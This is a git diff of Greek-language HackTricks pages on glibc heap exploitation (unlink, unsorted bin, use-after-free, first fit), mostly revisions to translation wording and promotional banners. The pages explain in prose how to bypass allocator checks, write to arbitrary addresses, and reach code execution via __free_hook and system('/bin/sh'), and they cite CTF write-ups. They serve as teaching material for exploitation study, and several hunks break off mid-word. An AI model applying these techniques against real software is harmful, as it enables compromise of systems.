* Εάν αυτός ο δείκτης βρισκόταν στη στοίβα, επειδή τώρα δείχνει 3 διευθύνσεις πριν από τον εαυτό του και ο χρήστης πιθανόν μπορεί να το διαβάσει και να το τροποποιήσει, θα είναι δυνατόν να διαρρεύσει ευαίσθητες πληροφορίες από τη στοίβα ή ακόμη και να τροποποιήσει τη διεύθυνση επιστροφής (ίσως) χωρίς να αγγίξει το canary
* Σε παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών προς άλλες δεσμεύσεις, επομένως, καθιστώντας τον να δείχνει 3 διευθύνσεις πριν και να είναι δυνατόν να τον διαβάσετε και να τον γράψετε, είναι δυνατόν να κάνετε τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\
* Σε παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών προς άλλες δεσμεύσεις, επομένως, καθιστώντας τον να δείχνει 3 διευθύνσεις πριν και να μπορεί να το διαβάσει και να το γράψει, είναι δυνατόν να κάνει τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\
Καθώς πιθανόν ο χρήστης μπορεί να διαβάσει/γράψει επίσης τις άλλες δεσμεύσεις, μπορεί να διαρρεύσει πληροφορίες ή να αντικαταστήσει νέα διεύθυνση σε αυθαίρετες τοποθεσίες (όπως στο GOT).
### Απαιτήσεις
@ -106,7 +107,7 @@ return 0;
### Επίθεση
* Υπάρχουν μερικά κομμάτια (chunk1 και chunk2)
* Υπάρχουν δύο κομμάτια (chunk1 και chunk2)
* Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τους κεφαλίδες του chunk2.
* Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου κομματιού:
* Για να παρακάμψει τις προστασίες, βεβαιώνεται ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating`
@ -120,7 +121,7 @@ return 0;
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Προηγουμένως έγινε ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στον ίδιο τόπο (τη θέση στη στοίβα όπου αποθηκευόταν το `chunk1`, έτσι ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και τα δύο δείχνουν στην ίδια τοποθεσία**, μόνο το τελευταίο (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**.
* Αυτό θα **αντικαταστήσει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή bytes) που αποθηκεύεται 3 διευθύνσεις πριν στη στοίβα**.
* Επομένως, εάν ένας επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1, θα μπορούσε να **γράψει μέσα στη στοίβα** είναι δυνατόν να αντικαταστήσει δυνητικά τη διεύθυνση επιστροφής παρακάμπτοντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη, τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου εάν ο επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
* Επομένως, εάν ένας επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1, θα μπορούσε να **γράψει μέσα στη στοίβα** είναι δυνατόν να αντικαταστήσει τη διεύθυνση επιστροφής παραλείποντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη, τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου εάν ο επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
* Να σημειωθεί ότι αυτό ήταν δυνατό επειδή οι **διευθύνσεις αποθηκεύονταν στη στοίβα**. Ο κίνδυνος και η εκμετάλλευση μπορεί να εξαρτώνται από το **πού αποθηκεύονται οι διευθύνσεις προς το ψεύτικο κομμάτι**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
@ -132,4 +133,4 @@ return 0;
* Παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Σε αυτό το παράδειγμα, αντί για τη στοίβα υπάρχει ένας πίνακας από διευθύνσεις που έχουν δεσμευτεί με τη μέθοδο malloc. Η επίθεση unlink πραγματοποιείται για να είναι δυνατή η δέσμευση ενός κομματιού εδώ, επομένως είναι δυνατόν να ελέγχει τους δείκτες του πίνακα από τις διευθύνσεις που έχουν δεσμευτεί με τη μέθοδο malloc. Στη συνέχεια, υπάρχει μια άλλη λειτουργικότητα που επιτρέπει την τροποποίηση του περιεχομένου των κομματιών σε αυτές τις διευθύνσεις, η οποία επιτρέπει να δείχνουν οι διευθύνσεις στο GOT, να τροποποιούνται οι διευθύνσεις συναρτήσεων για να λάβουν διαρροές libc και RCE.
* Άλλο παράδειγμα CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Όπως και στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων δεσμεύσεων. Είναι δυνατόν να πραγματοποιηθεί μια επίθεση unlink για να κάνει η διεύθυνση της πρώτης δέσμευσης να δείχνει λίγες θέσεις πριν από την έναρξη του πίνακα και να αντ
* Όπως και στο προηγούμενο παράδειγμα, υπάρχει ένας πίνακας διευθύνσεων δεσμεύσεων. Είναι δυνατόν να πραγματοποιηθεί μια επίθεση unlink για να κάνει η διεύθυνση της πρώτης δέσμευσης να δείχνει λίγες θέσεις πριν από την έναρξη του πίνακα και να αντικαταστήσει αυτή τη δ

View file

@ -1,18 +1,19 @@
# Επίθεση Unsorted Bin
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερευνητής Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -22,18 +23,18 @@
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Οι μη ταξινομημένες λίστες είναι σε θέση να γράψουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του κομματιού. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα κομμάτι μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτήν τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να βοηθήσει στη διαρροή μιας διεύθυνσης Glibc ή στην παράκαμψη κάποιας άμυνας.
Οι μη ταξινομημένες λίστες είναι σε θέση να γράψουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του κομματιού. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα κομμάτι μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτήν τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να βοηθήσει στη διαρροή μιας διεύθυνσης Glibc ή στην παράκαμψη ορισμένων μέτρων προστασίας.
Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένα μεγάλο νούμερο σε μια αυθαίρετη διεύθυνση**. Αυτό το μεγάλο νούμερο είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση στο heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι το **`global_max_fast`** για να επιτραπεί η δημιουργία γρηγορότερων bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin).
Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένα μεγάλο αριθμό σε μια αυθαίρετη διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση στο heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι το **`global_max_fast`** για να επιτραπεί η δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin).
{% hint style="success" %}
Κοιτάζοντας το παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) και χρησιμοποιώντας τα 0x4000 και 0x5000 αντί για τα 0x400 και 0x500 ως μεγέθη κομματιών (για να αποφευχθεί η Tcache) είναι δυνατό να δούμε ότι **σήμερα** προκαλείται το σφάλμα **`malloc(): unsorted double linked list corrupted`**.
Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η επιδιόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου κομματιού στη θέση του `fd` και ότι το ψεύτικο κομμάτι `fd` δείχνει στην αρένα.
Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η επιδιόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί αυτό `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου κομματιού στη θέση του `fd` και ότι το ψεύτικο κομμάτι `fd` δείχνει στην αρένα.
{% endhint %}
{% hint style="danger" %}
Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (επομένως και τα μικρά και τα μεγάλα). Έτσι, μπορούμε τώρα να **χρησιμοποιήσουμε εκχωρήσεις από το fast bin** (ένα πιο πολύπλοκο πρόγραμμα μπορεί να κάνει άλλες εκχωρήσεις και να καταρρεύσει), και για να προκαλέσουμε αυτό πρέπει **να εκχωρήσουμε το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (επομένως και τα μικρά και μεγάλα). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε εκχωρήσεις από το fast bin τώρα** (ένα πιο πολύπλοκο πρόγραμμα ενδέχεται να κάνει άλλες εκχωρήσεις και να καταρρεύσει), και για να προκαλέσουμε αυτό πρέπει **να εκχωρήσουμε το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
Σημειώστε ότι η αντικατάσταση του **`global_max_fast`** μπορεί να βοηθήσει σε αυτήν την περίπτωση εμπιστευόμενοι ότι το fast bin θα είναι σε θέση να φροντίσει όλες τις άλλες εκχωρήσεις μέχρι να ολοκληρωθεί η εκμετάλλευση.
{% endhint %}
@ -42,17 +43,18 @@
## Επίθεση Unsorted Bin Infoleak
Αυτό είναι πραγματικά ένα πολύ βασικό έννοια. Τα κομμάτια στο unsorted bin θα έχουν δείκτες. Το πρώτο κομμάτι στο unsorted bin θα έχει πραγματικά τους **`fd`** και **`bk`** δεσμούς **που δείχνουν σε μέρος της κύριας αρένας (Glibc)**.\
Επομένως, αν μπορείτε να **βάλετε ένα κομμάτι μέσα σε ένα unsorted bin και να το διαβάσετε** (χρήση μετά από απελευθέρωση) ή **να το εκχωρήσετε ξανά χωρίς να αντικαταστήσετε τουλάχιστον 1 από τους δείκτες** για να το **διαβάσετε** μπορείτε να έχετε μια **διαρροή πληροφοριών Glibc**.
Αυτό είναι πραγματικά ένα πολύ βασικό έννοια. Τα κομμάτια στο unsorted bin θα έχουν δείκτες. Το πρώτο κομμάτι στο unsorted bin θα έχει πραγματικά τους **`fd`** και **`bk`** συνδέσμους **που δείχνουν σε μέρος της κύριας αρένας (Glibc)**.\
Επομένως, αν μπορείτε **να τοποθετήσετε ένα κομμάτι μέσα σε ένα unsorted bin και να το διαβάσετε** (χρήση μετά από απελευθέρωση) ή **να το εκχωρήσετε ξανά χωρίς να αντικαταστήσετε τουλάχιστον 1 από τους δείκτες** για να το **διαβάσετε** μετά, μπορείτε να έχετε μια **διαρροή πληροφοριών Glibc**.
Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτήν την ανάλυση**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 κομματιών (Α, Β, Γ και Δ - το Δ είναι μόνο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής) έτσι ώστε ένας υπερχείλιση με κενό byte στο Β να χρησιμοποιηθεί για να κάνει το Γ να υποδεικνύει ότι το Β δεν χρησιμοποιείται. Επίσης, στο Β τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του Β να είναι Α+Β.\
Στη συνέχεια απελευθερώθηκε το Γ και συγχωνεύτηκε με το Α+Β (αλλά το Β ήταν ακόμα σε χρήση). Ένα νέο κομμάτι μεγέθους Α εκχωρήθηκε και στη συνέχεια οι διευθύνσεις που διέρρευσαν από την Glibc γράφτηκαν στο Β από όπου διέρρευσαν.
Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτήν την ανάλυση**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 κομματιών (Α, Β, Γ και Δ - το Δ είναι μόνο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής) έτσι ώστε ένας υπερχείλιση με κενό byte στο Β να κάνει τον Γ να υποδεικνύει ότι το Β δεν χρησιμοποιείται. Επίσης, στο Β τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του Β να είναι Α+Β.\
Στη συνέχεια απελευθερώθηκε ο Γ και συγχωνεύτηκε με το Α+Β (αλλά το Β ήταν ακόμα σε χρήση). Ένα νέο κομμάτι μεγέθους Α εκχωρήθηκε και στη συνέχεια οι διευθύνσεις που διέρρευσαν από την Glibc γράφτηκαν στο Β από όπου διέρρευσαν.
## Αναφορές & Άλλα παραδείγματα
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
* Ο στόχος είναι να αντικατασταθεί μια παγκόσμια μεταβλητή με μια τιμή μεγαλύτερη από 4869 για να είναι δυνατή η λήψη της σημαίας και το PIE δεν είναι ενεργοποιημένο.
* Είναι δυνατό να δημιουργηθούν κομμάτια αυθαίρετου μεγέθους και υπάρχει υπερχείλιση στο heap μ
* Είναι δυνατό να δημιουργηθούν κομμάτια αυθαίρετου μεγέθους και υπάρχει υπερχείλιση στο heap με το επιθυμητό μέγεθος.
* Η επίθεση ξεκινά δημιουργώντας 3 κομμάτια: το κομμάτι0 για να καταχραστεί την υπερχείλιση, το κομμάτι1 για να υποστεί υπερχείλιση και
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
@ -60,11 +62,11 @@
* Εάν καταφέρουμε να αποκτήσουμε ένα γρήγορο κομμάτι μεγέθους 0x200 σε αυτήν τη θέση, θα είναι δυνατό να αντικαταστήσουμε ένα δείκτη συνάρτησης που θα εκτελεστεί
* Για αυτό, δημιουργείται ένα νέο κομμάτι μεγέθους `0xfc` και καλείται η συνάρτηση συγχώνευσης με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε ένα δείκτη προς ένα ελεύθερο κομμάτι μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο κομμάτι.
* Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτό το κομμάτι για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου κομματιού ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
* Στη συνέχεια, δημιουργείται ένα κομμάτι με μέγεθος `0x1f8` για να ανακτήσει από το γρήγορο κομμάτι το προηγούμενο άχρηστο κομμάτι, έτσι δημιουργείται άλλο ένα κομμάτι μεγέθους `0x1f8` για να λάβει ένα κομμάτι γρήγορου κομματιού στο **`__free_hook`** το οποίο αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
* Στη συνέχεια, δημιουργείται ένα κομμάτι με μέγεθος `0x1f8` για να ανακτήσει από το γρήγορο κομμάτι το προηγούμενο άχρηστο κομμάτι, έτσι δημιουργείται ένα άλλο κομμάτι μεγέθους `0x1f8` για να λάβει ένα κομμάτι γρήγορου κομματιού στο **`__free_hook`** το οποίο αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
* Και τέλος ένα κομμάτι που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στο σύστημα με το `/bin/sh\x00` ως παράμετρο.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Άλλο ένα παράδειγμα κατάχρησης ενός υπερχείλισης 1B για να συγχωνεύσει κομμάτια στον μη ταξινομημένο κάδο και να λάβει μια διαρροή πληροφοριών της libc και στη συνέχεια να εκτελέσει μια επίθεση γρήγορου κομματιού για να αντικαταστήσει τον δείκτη malloc με μια διεύθυνση one gadget
* Ένα άλλο παράδειγμα κατάχρησης ενός υπερχείλισης 1B για να συγχωνεύσει κομμάτια στον μη ταξινομημένο κάδο και να αποκτήσει μια διαρροή πληροφοριών της libc και στη συνέχεια να εκτελέσει μια επίθεση γρήγορου κομματιού για να αντικαταστήσει τον δείκτη malloc με μια διεύθυνση one gadget
* [**Εργοστάσιο Ρομπότ. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Μπορούμε να δεσμεύσουμε μόνο κομμάτια μεγέθους μεγαλύτερου από `0x100`.
* Αντικατάσταση του `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
* Επίθεση Fast Bin για τροποποίηση ενός παγκόσμιου πίνακα κομματιών. Αυτό παρέχει ένα πρωτότυπο ανάγνωσης/εγγραφής, το οποίο επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιας συνάρτησης να δείχνει στο `system`.
* Επίθεση Fast Bin για τροποποίηση ενός παγκόσμιου πίνακα κομματιών. Αυτό παρέχει ένα αυθαίρετο ανάγνωσης/εγγραφής πρωτογενές, το οποίο επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιας συνάρτησης να δείχνει στο `system`.

View file

@ -1,18 +1,19 @@
# Χρήση Μετά το Δωρεάν
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Κόκκινης Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ με την υποβολή PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -22,23 +23,24 @@
### Επίθεση First Fit
Μια επίθεση First Fit στοχεύει στον τρόπο με τον οποίο ορισμένοι διαχειριστές μνήμης, όπως στο glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα τμήμα μνήμης, προστίθεται σε μια λίστα και οι νέες αιτήσεις μνήμης τραβούν από αυτήν τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτήν τη συμπεριφορά για να χειρίζονται **ποια τμήματα μνήμης επαναχρησιμοποιούνται, ενδεχομένως αποκτώντας έλεγχο επάνω σε αυτά**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε **να αλλάξει το περιεχόμενο της μνήμης που επαναχρησιμοποιείται**, δημιουργώντας έναν κίνδυνο ασφάλειας.\
Μια επίθεση First Fit στοχεύει στον τρόπο με τον οποίο ορισμένοι διαχειριστές μνήμης, όπως στο glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα τμήμα μνήμης, προστίθεται σε μια λίστα και οι νέες αιτήσεις μνήμης εξάγονται από αυτήν τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτήν τη συμπεριφορά για να χειρίζονται **ποια τμήματα μνήμης επαναχρησιμοποιούνται, ενδεχομένως αποκτώντας έλεγχο επί αυτών**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε **να αλλάξει το περιεχόμενο της μνήμης που επαναχρησιμοποιείται**, δημιουργώντας έναν κίνδυνο ασφάλειας.\
Ελέγξτε περισσότερες πληροφορίες στο:
{% content-ref url="first-fit.md" %}
[first-fit.md](first-fit.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Κόκκινης Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ με την υποβολή PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# Πρώτη Εφαρμογή
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
